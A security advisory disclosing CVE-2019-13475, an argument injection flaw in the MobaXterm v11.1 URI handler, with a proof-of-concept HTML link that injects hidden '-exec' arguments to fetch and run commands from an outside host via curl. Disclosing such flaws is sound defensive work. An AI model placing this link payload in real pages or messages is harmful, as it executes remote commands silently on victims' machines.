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Document Title:
===============
Mobatek MobaXterm v11.1 - Code Execution Vulnerability


References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2186

Video: https://www.youtube.com/watch?v=Oz0rCBuRKrY

Refernce(s):
https://download.mobatek.net/1112019010310554/MobaXterm_Installer_v11.1.zip

http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2019-13475

CVE-ID:
=======
CVE-2019-13475


Release Date:
=============
2019-07-08


Vulnerability Laboratory ID (VL-ID):
====================================
2186


Common Vulnerability Scoring System:
====================================
8.1


Vulnerability Class:
====================
Code Execution


Current Estimated Price:
========================
1.000€ - 2.000€


Product & Service Introduction:
===============================
MobaXterm is your ultimate toolbox for remote computing. In a single Windows application, it provides loads of functions that 
are tailored for programmers, webmasters, IT administrators and pretty much all users who need to handle their remote jobs in 
a more simple fashion. MobaXterm provides all the important remote network tools (SSH, X11, RDP, VNC, FTP, MOSH, ...) and Unix 
commands (bash, ls, cat, sed, grep, awk, rsync,) to Windows desktop, in a single portable exe file which works out of the box.

(Copy of the Homepage: https://mobaxterm.mobatek.net/ )


Abstract Advisory Information:
==============================
An independent vulnerability laboratory researcher discovered a remote code execution vulnerability in the Mobatek MobaXterm v11.1 software.


Vulnerability Disclosure Timeline:
==================================
2019-07-08: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Exploitation Technique:
=======================
Remote


Severity Level:
===============
High


Authentication Type:
====================
Restricted authentication (user/moderator) - User privileges


User Interaction:
=================
Low User Interaction


Disclosure Type:
================
Independent Security Research


Technical Details & Description:
================================
The URI handler of MobaXterm (mobaxterm:) has an argument injection vulnerability that allows remote attackers to 
execute arbitrary commands when the user visits a specially crafted URL. Based on the available command line arguments 
of the software, one can simply inject `-exec` to execute arbitrary commands. The additional arguments `-hideterm` and 
`-exitwhendone` in the payload allow the attack become less visible. Successful exploitation of the arbitrary code 
execution vulnerability results in unauthorized execution of malicious code on the affected web-server system.


Proof of Concept (PoC):
=======================
The vulnerability could be triggered by visiting a specially crafted URL. 
To reproduce the vulnerability, one could simply create a .url file or open the URL using certain Windows Apps like Outlook for Windows.

PoC: Exploitation
<a href='mobaxterm:" -hideterm -exitwhendone -exec "$(curl poc.mm2.in)'>Connect with MobaXterm</a>

PoC: Video
https://www.youtube.com/watch?v=Oz0rCBuRKrY


Solution - Fix & Patch:
=======================
The manufacturer is preparing a update for the future versions 12.0 or 12.1 by putting warnings at each execution of MobaXterm,
when it is started using an URL.
Please update the software and version as soon as the update becomes available on the webpage of the product manufacturer.


Security Risk:
==============
The security risk of the remote code execution vulnerability in the mobdaxterm application is estimated as high.


Credits & Authors:
==================
Ping Fan (Zetta) Ke [ozetta@vxrl.org]


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=========================
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